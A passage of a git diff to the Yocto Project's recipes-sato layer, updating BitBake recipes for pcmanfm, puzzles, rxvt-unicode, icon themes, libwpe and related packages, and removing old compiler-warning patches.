+ file://src/pcmanfm.h;endline=22;md5=417b3855771a3a87f8ad753d994491f0 \
+ file://src/gseal-gtk-compat.h;endline=21;md5=46922c8691f58d124f9420fe16149ce2"
+
+SECTION = "x11"
+DEPENDS = "gtk+3 startup-notification libfm intltool-native gettext-native glib-2.0-native"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/pcmanfm/pcmanfm-${PV}.tar.xz \
+ file://gnome-fs-directory.png \
+ file://gnome-fs-regular.png \
+ file://gnome-mime-text-plain.png \
+ file://emblem-symbolic-link.png \
+ file://no-desktop.patch"
+
+SRC_URI[sha256sum] = "14cb7b247493c4cce65fbb5902611e3ad00a7a870fbc1e50adc50428c5140cf7"
+
+UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/pcmanfm/files/PCManFM%20%2B%20Libfm%20%28tarball%20release%29/PCManFM/"
+
+inherit autotools pkgconfig features_check mime-xdg
+
+# The startup-notification requires x11 in DISTRO_FEATURES
+REQUIRED_DISTRO_FEATURES = "x11"
+
+EXTRA_OECONF = "--with-gtk=3"
+
+do_install:append () {
+ install -d ${D}/${datadir}
+ install -d ${D}/${datadir}/pixmaps/
+
+ install -m 0644 ${WORKDIR}/*.png ${D}/${datadir}/pixmaps
+}
+
+FILES:${PN} += "${libdir}/pcmanfm"
+
+RRECOMMENDS:${PN} += "adwaita-icon-theme"
diff --git a/meta/recipes-sato/pulseaudio-sato/pulseaudio-client-conf-sato_1.bb b/meta/recipes-sato/pulseaudio-sato/pulseaudio-client-conf-sato_1.bb
index e27339fb46..ec187ed9bd 100644
--- a/meta/recipes-sato/pulseaudio-sato/pulseaudio-client-conf-sato_1.bb
+++ b/meta/recipes-sato/pulseaudio-sato/pulseaudio-client-conf-sato_1.bb
@@ -13,5 +13,5 @@ do_install() {
install -m 0644 ${S}/50-sato.conf ${D}${sysconfdir}/pulse/client.conf.d/50-sato.conf
}
-FILES_${PN} = "${sysconfdir}/pulse/client.conf.d/50-sato.conf"
-CONFFILES_${PN} = "${sysconfdir}/pulse/client.conf.d/50-sato.conf"
+FILES:${PN} = "${sysconfdir}/pulse/client.conf.d/50-sato.conf"
+CONFFILES:${PN} = "${sysconfdir}/pulse/client.conf.d/50-sato.conf"
diff --git a/meta/recipes-sato/puzzles/files/0001-Use-Wno-error-format-overflow-if-the-compiler-suppor.patch b/meta/recipes-sato/puzzles/files/0001-Use-Wno-error-format-overflow-if-the-compiler-suppor.patch
deleted file mode 100644
index d40a3b1ef9..0000000000
--- a/meta/recipes-sato/puzzles/files/0001-Use-Wno-error-format-overflow-if-the-compiler-suppor.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 337799e40350b3db2441cc98f65ec36a74dfb356 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 21 Apr 2017 12:18:08 -0700
-Subject: [PATCH] Use -Wno-error=format-overflow= if the compiler supports it
-
-we need this warning to be suppressed with gcc7+
-however older compilers dont support it so we need
-a way to disble it only if compiler supports it
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- configure.ac | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/configure.ac b/configure.ac
-index 3a38c95..bb9035e 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -42,7 +42,7 @@ fi
- if test "x$GCC" = "xyes"; then
- AC_MSG_CHECKING([for usable gcc warning flags])
- gccwarningflags=
-- for flag in -Wall -Werror -std=c89 -pedantic; do
-+ for flag in -Wall -Werror -std=c89 -pedantic -Wno-error=format-overflow=; do
- ac_save_CFLAGS="$CFLAGS"
- ac_save_LIBS="$LIBS"
- CFLAGS="$CFLAGS$gccwarningflags $flag $GTK_CFLAGS"
---
-2.12.2
-
diff --git a/meta/recipes-sato/puzzles/files/0001-palisade-Fix-warnings-with-clang-on-arm.patch b/meta/recipes-sato/puzzles/files/0001-palisade-Fix-warnings-with-clang-on-arm.patch
deleted file mode 100644
index 143e898a51..0000000000
--- a/meta/recipes-sato/puzzles/files/0001-palisade-Fix-warnings-with-clang-on-arm.patch
+++ /dev/null
@@ -1,68 +0,0 @@
-From 453587d714473b806473b309727f865b673cbc06 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 13 Jan 2016 23:10:19 -0800
-Subject: [PATCH] palisade: Fix warnings with clang on arm
-
-ARM treats 'char' as unsigned char when 'char' is not qualified with
-'signed' or 'unsigned' explicitly.
-
-This results in warnings e.g.
-
-palisade.c:531:22: error: comparison of constant -1 with expression of
-type 'clue' (aka 'char') is always false
-[-Werror,-Wtautological-constant-out-of-range-compare]
- if (clues[i] == EMPTY) continue;
-
-Therefore, typcast the contant to char in such places to be explicit
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Submitted
----
- palisade.c | 10 +++++-----
- 1 file changed, 5 insertions(+), 5 deletions(-)
-
-diff --git a/palisade.c b/palisade.c
-index 6ffbf2d..8b54d42 100644
---- a/palisade.c
-+++ b/palisade.c
-@@ -304,11 +304,11 @@ static void solver_connected_clues_versus_region_size(solver_ctx *ctx)
- * If p = q = 3 then the region has size exactly 2. */
-
- for (i = 0; i < wh; ++i) {
-- if (ctx->clues[i] == EMPTY) continue;
-+ if (ctx->clues[i] == (char)EMPTY) continue;
- for (dir = 0; dir < 4; ++dir) {
- int j = i + dx[dir] + w*dy[dir];
- if (disconnected(ctx, i, j, dir)) continue;
-- if (ctx->clues[j] == EMPTY) continue;
-+ if (ctx->clues[j] == (char)EMPTY) continue;
- if ((8 - ctx->clues[i] - ctx->clues[j] > ctx->params->k) ||
- (ctx->clues[i] == 3 && ctx->clues[j] == 3 &&
- ctx->params->k != 2))
-@@ -326,7 +326,7 @@ static bool solver_number_exhausted(solver_ctx *ctx)
- bool changed = false;
-
- for (i = 0; i < wh; ++i) {
-- if (ctx->clues[i] == EMPTY) continue;
-+ if (ctx->clues[i] == (char)EMPTY) continue;
-
- if (bitcount[(ctx->borders[i] & BORDER_MASK)] == ctx->clues[i]) {
- for (dir = 0; dir < 4; ++dir) {
-@@ -538,7 +538,7 @@ static bool is_solved(const game_params *params, clue *clues,
- for (i = 0; i < wh; ++i) {
- if (dsf[i] == UNVISITED) dfs_dsf(i, params->w, border, dsf, true);
- if (dsf_size(dsf, i) != k) goto error;
-- if (clues[i] == EMPTY) continue;
-+ if (clues[i] == (char)EMPTY) continue;
- if (clues[i] != bitcount[border[i] & BORDER_MASK]) goto error;
- }
-
-@@ -685,7 +685,7 @@ static char *new_game_desc(const game_params *params, random_state *rs,
- p = numbers;
- r = 0;
- for (i = 0; i < wh; ++i) {
-- if (numbers[i] != EMPTY) {
-+ if (numbers[i] != (char)EMPTY) {
- while (r) {
- while (r > 26) {
- *p++ = 'z';
diff --git a/meta/recipes-sato/puzzles/files/0001-pattern.c-Change-string-lenght-parameter-to-be-size_.patch b/meta/recipes-sato/puzzles/files/0001-pattern.c-Change-string-lenght-parameter-to-be-size_.patch
deleted file mode 100644
index 7ca582fe5d..0000000000
--- a/meta/recipes-sato/puzzles/files/0001-pattern.c-Change-string-lenght-parameter-to-be-size_.patch
+++ /dev/null
@@ -1,34 +0,0 @@
-From 3af5a1e579e3324a13ba1f892c7befb3ab32d899 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 7 Mar 2019 21:56:57 -0800
-Subject: [PATCH] pattern.c: Change string lenght parameter to be size_t in
- do_row()
-
-This fixes below error on some architectures e.g. RISC-V
-
-pattern.c:455:9: error: 'memset' specified size between 18446744071562067968 and 18446744073709551615 exceeds maximum object size 9223372036854775807 [-Werror=stringop-overflow=] 455 | memset(deduced, DOT, (size_t)len); | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
----
- pattern.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/pattern.c b/pattern.c
-index ffadd3f..4e5f187 100644
---- a/pattern.c
-+++ b/pattern.c
-@@ -428,7 +428,7 @@ static bool do_row(unsigned char *known, unsigned char *deduced,
- unsigned char *row,
- unsigned char *minpos_done, unsigned char *maxpos_done,
- unsigned char *minpos_ok, unsigned char *maxpos_ok,
-- unsigned char *start, int len, int step, int *data,
-+ unsigned char *start, size_t len, int step, int *data,
- unsigned int *changed
- #ifdef STANDALONE_SOLVER
- , const char *rowcol, int index, int cluewid
---
-2.17.1
-
diff --git a/meta/recipes-sato/puzzles/files/fix-compiling-failure-with-option-g-O.patch b/meta/recipes-sato/puzzles/files/fix-compiling-failure-with-option-g-O.patch
deleted file mode 100644
index 28040523d4..0000000000
--- a/meta/recipes-sato/puzzles/files/fix-compiling-failure-with-option-g-O.patch
+++ /dev/null
@@ -1,44 +0,0 @@
-From 876c6ff1e20f51b0921acda99861f476b6423f26 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Mon, 11 Aug 2014 12:39:53 +0800
-Subject: [PATCH] gtk.c: fix compiling failure with option -g -O
-
-There were compiling failure with option -g -O
-...
-././gtk.c: In function 'configure_area':
-././gtk.c:397:2: error: 'cr' may be used uninitialized in this function [-Werror=maybe-uninitialized]
- cairo_set_source_rgb(cr,
- ^
-././gtk.c:384:14: note: 'cr' was declared here
- cairo_t *cr;
- ^
-././gtk.c: In function 'main':
-././gtk.c:2911:6: error: 'error' may be used uninitialized in this function [-Werror=maybe-uninitialized]
- fprintf(stderr, "%s: %s\n", pname, error);
- ^
-cc1: all warnings being treated as errors
-...
-
-Initialized pointer 'cr' and 'error' with NULL
-
-Upstream-Status: Pending
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-
----
- gtk.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/gtk.c b/gtk.c
-index 4565836..5e83b48 100644
---- a/gtk.c
-+++ b/gtk.c
-@@ -2944,7 +2944,7 @@ static void list_presets_from_menu(struct preset_menu *menu)
- int main(int argc, char **argv)
- {
- char *pname = argv[0];
-- char *error;
-+ char *error = NULL;
- int ngenerate = 0, px = 1, py = 1;
- bool print = false;
- bool time_generation = false, test_solve = false, list_presets = false;
diff --git a/meta/recipes-sato/puzzles/files/fix-ki-uninitialized.patch b/meta/recipes-sato/puzzles/files/fix-ki-uninitialized.patch
deleted file mode 100644
index 7218d620ec..0000000000
--- a/meta/recipes-sato/puzzles/files/fix-ki-uninitialized.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-puzzles: avoid compiler unitialized variable error
-
-The compiler does not realize that we must go through the while()
-loop at least once, so we replace it with a for() loop.
-
-Upstream-Status: Pending
-
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
-
---- a/tree234.c
-+++ b/tree234.c
-@@ -326,8 +326,11 @@ static void *add234_internal(tree234 *t,
- return orig_e;
- }
-
-- n = t->root;
-- while (n) {
-+ /*
-+ * We know t->root is not NULL. The logic
-+ * to break out of this is at the end of the loop.
-+ */
-+ for (n = t->root;;) {
- LOG((" node %p: %p/%d \"%s\" %p/%d \"%s\" %p/%d \"%s\" %p/%d\n",
- n,
- n->kids[0], n->counts[0], n->elems[0],
diff --git a/meta/recipes-sato/puzzles/puzzles_git.bb b/meta/recipes-sato/puzzles/puzzles_git.bb
index a0f3b5d9cd..e9403ee130 100644
--- a/meta/recipes-sato/puzzles/puzzles_git.bb
+++ b/meta/recipes-sato/puzzles/puzzles_git.bb
@@ -1,47 +1,29 @@
SUMMARY = "Simon Tatham's Portable Puzzle Collection"
+DESCRIPTION = "Collection of small computer programs which implement one-player puzzle games."
HOMEPAGE = "http://www.chiark.greenend.org.uk/~sgtatham/puzzles/"
LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENCE;md5=6099f4981f9461d7f411091e69a7f07a"
+LIC_FILES_CHKSUM = "file://LICENCE;md5=191542b32377bde254e9799e0a46f18b"
-DEPENDS = "libxt"
-
-# The libxt requires x11 in DISTRO_FEATURES
+# gtk support includes a bunch of x11 headers
REQUIRED_DISTRO_FEATURES = "x11"
-SRC_URI = "git://git.tartarus.org/simon/puzzles.git \
- file://fix-compiling-failure-with-option-g-O.patch \
- file://0001-palisade-Fix-warnings-with-clang-on-arm.patch \
- file://0001-Use-Wno-error-format-overflow-if-the-compiler-suppor.patch \
- file://0001-pattern.c-Change-string-lenght-parameter-to-be-size_.patch \
- file://fix-ki-uninitialized.patch \
- "
+SRC_URI = "git://git.tartarus.org/simon/puzzles.git;branch=main;protocol=https"
UPSTREAM_CHECK_COMMITS = "1"
-SRCREV = "9aa7b7cdfb2bcd200f45941a58d6ae698882a2d4"
+SRCREV = "80aac3104096aee4057b675c53ece8e60793aa90"
PE = "2"
-PV = "0.0+git${SRCPV}"
+PV = "0.0+git"
S = "${WORKDIR}/git"
-inherit autotools features_check pkgconfig
-
-PACKAGECONFIG ??= "gtk3"
-PACKAGECONFIG[gtk2] = "--with-gtk=2,,gtk+,"
-PACKAGECONFIG[gtk3] = "--with-gtk=3,,gtk+3,"
-
-CFLAGS_append = " -Wno-deprecated-declarations"
-
-ASNEEDED = ""
+inherit cmake features_check pkgconfig
-do_configure_prepend () {
- cd ${S}
- ./mkfiles.pl
- cd ${B}
-}
+DEPENDS += "gtk+3"
-do_install_append () {
+do_install:append () {
# net conflicts with Samba, so rename it
mv ${D}${bindir}/net ${D}${bindir}/puzzles-net
+ rm ${D}/${datadir}/applications/net.desktop
# Create desktop shortcuts
install -d ${D}/${datadir}/applications/
@@ -65,16 +47,3 @@ STOP
done
}
-PACKAGES += "${PN}-extra"
-
-FILES_${PN} = ""
-FILES_${PN}-extra = "${prefix}/bin ${datadir}/applications"
-
-python __anonymous () {
- var = d.expand("FILES_${PN}")
- data = d.getVar(var, False)
- for name in ("bridges", "fifteen", "inertia", "map", "samegame", "slant"):
- data = data + " ${bindir}/%s" % name
- data = data + " ${datadir}/applications/%s.desktop" % name
- d.setVar(var, data)
-}
diff --git a/meta/recipes-sato/rxvt-unicode/rxvt-unicode.inc b/meta/recipes-sato/rxvt-unicode/rxvt-unicode.inc
index b064a63caa..016614b19c 100644
--- a/meta/recipes-sato/rxvt-unicode/rxvt-unicode.inc
+++ b/meta/recipes-sato/rxvt-unicode/rxvt-unicode.inc
@@ -5,7 +5,8 @@ terminal emulator rxvt, modified to store text in Unicode \
(either UCS-2 or UCS-4) and to use locale-correct input and \
output. It also supports mixing multiple fonts at the \
same time, including Xft fonts."
-DEPENDS = "virtual/libx11 libxt libxft gdk-pixbuf libxmu"
+HOMEPAGE = "https://rxvt.org/"
+DEPENDS = "virtual/libx11 libxt libxft gdk-pixbuf libxmu libptytty ncurses-native"
SRC_URI = "http://dist.schmorp.de/rxvt-unicode/Attic/rxvt-unicode-${PV}.tar.bz2 \
file://xwc.patch \
@@ -15,13 +16,12 @@ SRC_URI = "http://dist.schmorp.de/rxvt-unicode/Attic/rxvt-unicode-${PV}.tar.bz2
inherit autotools pkgconfig update-alternatives
PROVIDES = "virtual/x-terminal-emulator"
-ALTERNATIVE_${PN} = "x-terminal-emulator"
+ALTERNATIVE:${PN} = "x-terminal-emulator"
ALTERNATIVE_TARGET[x-terminal-emulator] = "${bindir}/rxvt"
-CFLAGS_append = " -fpermissive"
+CFLAGS:append = " -fpermissive"
EXTRA_OECONF = "--enable-xim \
- --enable-utmp --enable-wtmp --enable-lastlog \
--with-term=rxvt --enable-keepscrolling \
--enable-xft --with-name=rxvt --enable-frills \
--enable-swapscreen --enable-transparency \
@@ -30,31 +30,32 @@ EXTRA_OECONF = "--enable-xim \
--enable-combining --disable-perl \
--with-x=${STAGING_DIR_HOST}${prefix}"
-EXTRA_OECONF_append_libc-musl = " --disable-wtmp"
-
PACKAGECONFIG ??= ""
PACKAGECONFIG[startup] = "--enable-startup-notification,--disable-startup-notification,startup-notification,"
-do_configure_prepend () {
+do_configure:prepend () {
if [ ! -e ${S}/acinclude.m4 ]; then
cp ${S}/aclocal.m4 ${S}/acinclude.m4
fi
}
-do_compile_prepend () {
+do_compile:prepend () {
echo '#define UTMP_FILE "${localstatedir}/run/utmp"' >> config.h
echo '#define WTMP_FILE "${localstatedir}/log/wtmp"' >> config.h
echo '#define LASTLOG_FILE "${localstatedir}/log/lastlog"' >> config.h
echo '#define HAVE_XLOCALE 1' >> config.h
}
-do_install_append () {
+do_install:append () {
install -d ${D}/${datadir}
install -d ${D}/${datadir}/applications
install -d ${D}/${datadir}/pixmaps/
install -m 0644 ${WORKDIR}/rxvt.png ${D}/${datadir}/pixmaps
install -m 0644 ${WORKDIR}/rxvt.desktop ${D}/${datadir}/applications
+
+ ${STAGING_BINDIR_NATIVE}/tic -x ${S}/doc/etc/rxvt-unicode.terminfo -o ${D}${datadir}/terminfo || \
+ ${STAGING_BINDIR_NATIVE}/tic ${S}/doc/etc/rxvt-unicode.terminfo -o ${D}${datadir}/terminfo
}
-FILES_${PN} += "${datadir}/applications/rxvt.desktop ${datadir}/pixmaps/rxvt.png"
+FILES:${PN} += "${datadir}/applications/rxvt.desktop ${datadir}/pixmaps/rxvt.png ${datadir}/terminfo"
diff --git a/meta/recipes-sato/rxvt-unicode/rxvt-unicode/rxvt.desktop b/meta/recipes-sato/rxvt-unicode/rxvt-unicode/rxvt.desktop
index 882ea41136..1ac3d99510 100644
--- a/meta/recipes-sato/rxvt-unicode/rxvt-unicode/rxvt.desktop
+++ b/meta/recipes-sato/rxvt-unicode/rxvt-unicode/rxvt.desktop
@@ -1,9 +1,9 @@
[Desktop Entry]
Version=1.0
-Name=Terminal
+Name=Rxvt Terminal
Comment=A unicode capable rxvt clone
Exec=rxvt
-Icon=terminal
+Icon=utilities-terminal
Terminal=false
Type=Application
Categories=Utility;TerminalEmulator;
diff --git a/meta/recipes-sato/rxvt-unicode/rxvt-unicode_9.22.bb b/meta/recipes-sato/rxvt-unicode/rxvt-unicode_9.22.bb
deleted file mode 100644
index bfa8a614df..0000000000
--- a/meta/recipes-sato/rxvt-unicode/rxvt-unicode_9.22.bb
+++ /dev/null
@@ -1,8 +0,0 @@
-require rxvt-unicode.inc
-
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
- file://src/main.C;beginline=1;endline=31;md5=d3600d7ee1062667fcd1193fbe6485f6"
-
-SRC_URI[md5sum] = "93782dec27494eb079467dacf6e48185"
-SRC_URI[sha256sum] = "e94628e9bcfa0adb1115d83649f898d6edb4baced44f5d5b769c2eeb8b95addd"
diff --git a/meta/recipes-sato/rxvt-unicode/rxvt-unicode_9.31.bb b/meta/recipes-sato/rxvt-unicode/rxvt-unicode_9.31.bb
new file mode 100644
index 0000000000..c127b9bbe3
--- /dev/null
+++ b/meta/recipes-sato/rxvt-unicode/rxvt-unicode_9.31.bb
@@ -0,0 +1,8 @@
+require rxvt-unicode.inc
+
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
+ file://src/main.C;beginline=1;endline=31;md5=d3600d7ee1062667fcd1193fbe6485f6"
+
+SRC_URI[sha256sum] = "aaa13fcbc149fe0f3f391f933279580f74a96fd312d6ed06b8ff03c2d46672e8"
+
diff --git a/meta/recipes-sato/sato-icon-theme/icon-naming-utils_0.8.90.bb b/meta/recipes-sato/sato-icon-theme/icon-naming-utils_0.8.90.bb
new file mode 100644
index 0000000000..5502b66905
--- /dev/null
+++ b/meta/recipes-sato/sato-icon-theme/icon-naming-utils_0.8.90.bb
@@ -0,0 +1,29 @@
+HOMEPAGE = "http://tango.freedesktop.org/"
+SUMMARY = "Enables backwards compatibility with current desktop icon themes"
+DESCRIPTION = "A Perl script used for maintaining backwards \
+compatibility with current desktop icon themes, while migrating to the \
+names specified in the Icon Naming Specification. The Icon Naming \
+Utilities map the icon names used by the GNOME and KDE desktops to the \
+icon names proposed in the Icon Naming Specification, and generate the \
+icon files appropriate to the desktop environment you use. The Icon \
+Naming Specification provides a standard list of common icon contexts \
+and names that can be used to make icon themes work in a desktop \
+environment or application that implements the naming specification. "
+LICENSE = "GPL-2.0-only"
+DEPENDS = "libxml-simple-perl-native"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f"
+
+SRC_URI = "${DEBIAN_MIRROR}/main/i/icon-naming-utils/icon-naming-utils_${PV}.orig.tar.gz"
+SRC_URI[sha256sum] = "044ab2199ed8c6a55ce36fd4fcd8b8021a5e21f5bab028c0a7cdcf52a5902e1c"
+
+inherit autotools allarch perlnative
+
+do_configure:append() {
+ # Make sure we use our nativeperl wrapper.
+ sed -i -e "1s:#!.*:#!/usr/bin/env nativeperl:" ${S}/icon-name-mapping.pl.in
+}
+
+FILES:${PN} += "${datadir}/dtds"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-sato/sato-icon-theme/sato-icon-theme_git.bb b/meta/recipes-sato/sato-icon-theme/sato-icon-theme_git.bb
new file mode 100644
index 0000000000..1ebbf010f3
--- /dev/null
+++ b/meta/recipes-sato/sato-icon-theme/sato-icon-theme_git.bb
@@ -0,0 +1,29 @@
+SUMMARY = "Sato icon theme"
+HOMEPAGE = "https://www.yoctoproject.org/"
+BUGTRACKER = "http://bugzilla.yoctoproject.org/"
+
+LICENSE = "CC-BY-SA-3.0"
+LIC_FILES_CHKSUM = "file://COPYING;md5=56a830bbe6e4697fe6cbbae01bb7c2b2"
+SECTION = "x11"
+
+DEPENDS = "icon-naming-utils-native libxml-simple-perl-native"
+
+SRC_URI = "git://git.yoctoproject.org/sato-icon-theme.git;protocol=https;branch=master"
+SRCREV = "d23f04ecb0328f655bf195df8eb04c1b734d53a9"
+UPSTREAM_CHECK_COMMITS = "1"
+
+S = "${WORKDIR}/git"
+
+inherit autotools pkgconfig allarch gtk-icon-cache perlnative
+
+# The configure script uses pkg-config to find native binaries to execute, so
+# tell it to use our pkg-config-native wrapper.
+export PKG_CONFIG = "pkg-config-native"
+
+FILES:${PN} += "${datadir}/icons/Sato"
+
+do_install:append() {
+ find ${D}${datadir}/icons/Sato/ -maxdepth 1 -type d -exec ln -s preferences-system.png {}/apps/preferences-desktop.png \;
+ find ${D}${datadir}/icons/Sato/ -maxdepth 1 -type d -exec ln -s file-manager.png {}/apps/system-file-manager.png \;
+ find ${D}${datadir}/icons/Sato/ -maxdepth 1 -type d -exec ln -s ../apps/terminal.png {}/places/computer.png \;
+}
diff --git a/meta/recipes-sato/sato-screenshot/sato-screenshot_0.3.bb b/meta/recipes-sato/sato-screenshot/sato-screenshot_0.3.bb
index f6dac2cf88..de4ab82484 100644
--- a/meta/recipes-sato/sato-screenshot/sato-screenshot_0.3.bb
+++ b/meta/recipes-sato/sato-screenshot/sato-screenshot_0.3.bb
@@ -2,7 +2,7 @@ SUMMARY = "Ultra-simple screen capture utility, aimed at handheld devices"
HOMEPAGE = "http://www.o-hand.com"
BUGTRACKER = "http://bugzilla.yoctoproject.org/"
-LICENSE = "GPLv2 & GPLv2+"
+LICENSE = "GPL-2.0-only & GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
file://main.c;endline=9;md5=023e14d6404d0a961eb97cbd011fc141 \
file://screenshot-ui.h;endline=9;md5=638d9ffa83e9325a36df224166ed6ad0"
@@ -11,17 +11,17 @@ DEPENDS = "matchbox-panel-2 gtk+3"
# SRCREV tagged 0.3
SRCREV = "9250fa5a012d84ff45984e8c4345ee7635227756"
-SRC_URI = "git://git.yoctoproject.org/screenshot"
+SRC_URI = "git://git.yoctoproject.org/screenshot;branch=master;protocol=https"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))"
S = "${WORKDIR}/git"
inherit autotools pkgconfig features_check
-FILES_${PN} += "${libdir}/matchbox-panel/*.so"
+FILES:${PN} += "${libdir}/matchbox-panel/*.so"
-do_install_append () {
- rm ${D}${libdir}/matchbox-panel/*.la
+do_install:append () {
+ rm -f ${D}${libdir}/matchbox-panel/*.la
}
# The matchbox-panel-2 requires x11 in DISTRO_FEATURES
diff --git a/meta/recipes-sato/settings-daemon/settings-daemon_0.0.2.bb b/meta/recipes-sato/settings-daemon/settings-daemon_0.0.2.bb
index 227fd54b79..4bdbefcb75 100644
--- a/meta/recipes-sato/settings-daemon/settings-daemon_0.0.2.bb
+++ b/meta/recipes-sato/settings-daemon/settings-daemon_0.0.2.bb
@@ -1,7 +1,7 @@
SUMMARY = "Provides a bridge between gconf and xsettings"
-HOMEPAGE = "http://svn.o-hand.com/view/matchbox/trunk/settings-daemon/"
+HOMEPAGE = "https://git.yoctoproject.org/cgit/cgit.cgi/xsettings-daemon/"
BUGTRACKER = "http://bugzilla.yoctoproject.org/"
-LICENSE = "MIT-style"
+LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://xsettings-manager.h;endline=22;md5=7cfac9d2d4dc3694cc7eb605cf32a69b \
file://xsettings-common.h;endline=22;md5=7cfac9d2d4dc3694cc7eb605cf32a69b"
DEPENDS = "gconf glib-2.0 gtk+3"
@@ -9,7 +9,7 @@ SECTION = "x11"
# SRCREV tagged 0.0.2
SRCREV = "b2e5da502f8c5ff75e9e6da771372ef8e40fd9a2"
-SRC_URI = "git://git.yoctoproject.org/xsettings-daemon \
+SRC_URI = "git://git.yoctoproject.org/xsettings-daemon;branch=master;protocol=https \
file://addsoundkeys.patch \
file://70settings-daemon.sh \
"
@@ -19,12 +19,12 @@ S = "${WORKDIR}/git"
inherit autotools pkgconfig gconf features_check
-FILES_${PN} = "${bindir}/* ${sysconfdir}"
+FILES:${PN} = "${bindir}/* ${sysconfdir}"
# Requires gdk-x11-2.0 which is provided by gtk when x11 in DISTRO_FEATURES
REQUIRED_DISTRO_FEATURES = "x11"
-do_install_append () {
+do_install:append () {
install -d ${D}/${sysconfdir}/X11/Xsession.d
install -m 755 ${WORKDIR}/70settings-daemon.sh ${D}/${sysconfdir}/X11/Xsession.d/
}
diff --git a/meta/recipes-sato/shutdown-desktop/shutdown-desktop.bb b/meta/recipes-sato/shutdown-desktop/shutdown-desktop.bb
index 28d5096023..766f574b25 100644
--- a/meta/recipes-sato/shutdown-desktop/shutdown-desktop.bb
+++ b/meta/recipes-sato/shutdown-desktop/shutdown-desktop.bb
@@ -4,7 +4,6 @@ LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384
SRC_URI = "file://shutdown.desktop"
-PR = "r1"
S = "${WORKDIR}"
@@ -15,7 +14,7 @@ do_install() {
sed -i ${D}${datadir}/applications/shutdown.desktop -e 's#^Exec=\(.*\)#Exec=${base_sbindir}/\1#'
}
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
grep -q qemuarm $D${sysconfdir}/hostname && \
sed -i $D${datadir}/applications/shutdown.desktop -e 's#^Exec=\(.*\)/halt#Exec=\1/reboot#' \
|| true
diff --git a/meta/recipes-sato/webkit/libwpe_1.16.0.bb b/meta/recipes-sato/webkit/libwpe_1.16.0.bb
new file mode 100644
index 0000000000..57f91ce87e
--- /dev/null
+++ b/meta/recipes-sato/webkit/libwpe_1.16.0.bb
@@ -0,0 +1,18 @@
+SUMMARY = "General-purpose library specifically developed for the WPE-flavored port of WebKit."
+HOMEPAGE = "https://github.com/WebPlatformForEmbedded/libwpe"
+BUGTRACKER = "https://github.com/WebPlatformForEmbedded/libwpe/issues"
+
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=371a616eb4903c6cb79e9893a5f615cc"
+DEPENDS = "virtual/egl libxkbcommon"
+
+inherit cmake features_check pkgconfig
+
+REQUIRED_DISTRO_FEATURES = "opengl"
+
+SRC_URI = "https://wpewebkit.org/releases/${BPN}-${PV}.tar.xz"
+SRC_URI[sha256sum] = "c7f3a3c6b3d006790d486dc7cceda2b6d2e329de07f33bc47dfc53f00f334b2a"
+
+# This is a tweak of upstream-version-is-even needed because
+# ipstream directory contains tarballs for other components as well.
+UPSTREAM_CHECK_REGEX = "libwpe-(?P<pver>\d+\.(\d*[02468])+(\.\d+)+)\.tar"
diff --git a/meta/recipes-sato/webkit/libwpe_1.7.1.bb b/meta/recipes-sato/webkit/libwpe_1.7.1.bb
deleted file mode 100644
index e25d9404a0..0000000000
--- a/meta/recipes-sato/webkit/libwpe_1.7.1.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "General-purpose library specifically developed for the WPE-flavored port of WebKit."
-HOMEPAGE = "https://github.com/WebPlatformForEmbedded/libwpe"
-BUGTRACKER = "https://github.com/WebPlatformForEmbedded/libwpe/issues"
-
-LICENSE = "BSD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=371a616eb4903c6cb79e9893a5f615cc"
-DEPENDS = "virtual/egl libxkbcommon"
-
-# Workaround build issue with RPi userland EGL libraries.
-CFLAGS_append_rpi = " ${@bb.utils.contains('MACHINE_FEATURES', 'vc4graphics', '', '-D_GNU_SOURCE', d)}"
-
-inherit cmake features_check
-
-REQUIRED_DISTRO_FEATURES = "opengl"
-
-SRC_URI = "https://wpewebkit.org/releases/${BPN}-${PV}.tar.xz"
-SRC_URI[sha256sum] = "a784b7fa0c658b28071100f6f6749b0d85bbcddd82de028e07672ce13982d340"
diff --git a/meta/recipes-sato/webkit/webkitgtk/0001-CMake-Add-a-variable-to-control-macro-__PAS_ALWAYS_I.patch b/meta/recipes-sato/webkit/webkitgtk/0001-CMake-Add-a-variable-to-control-macro-__PAS_ALWAYS_I.patch
new file mode 100644
index 0000000000..a819e22127
--- /dev/null
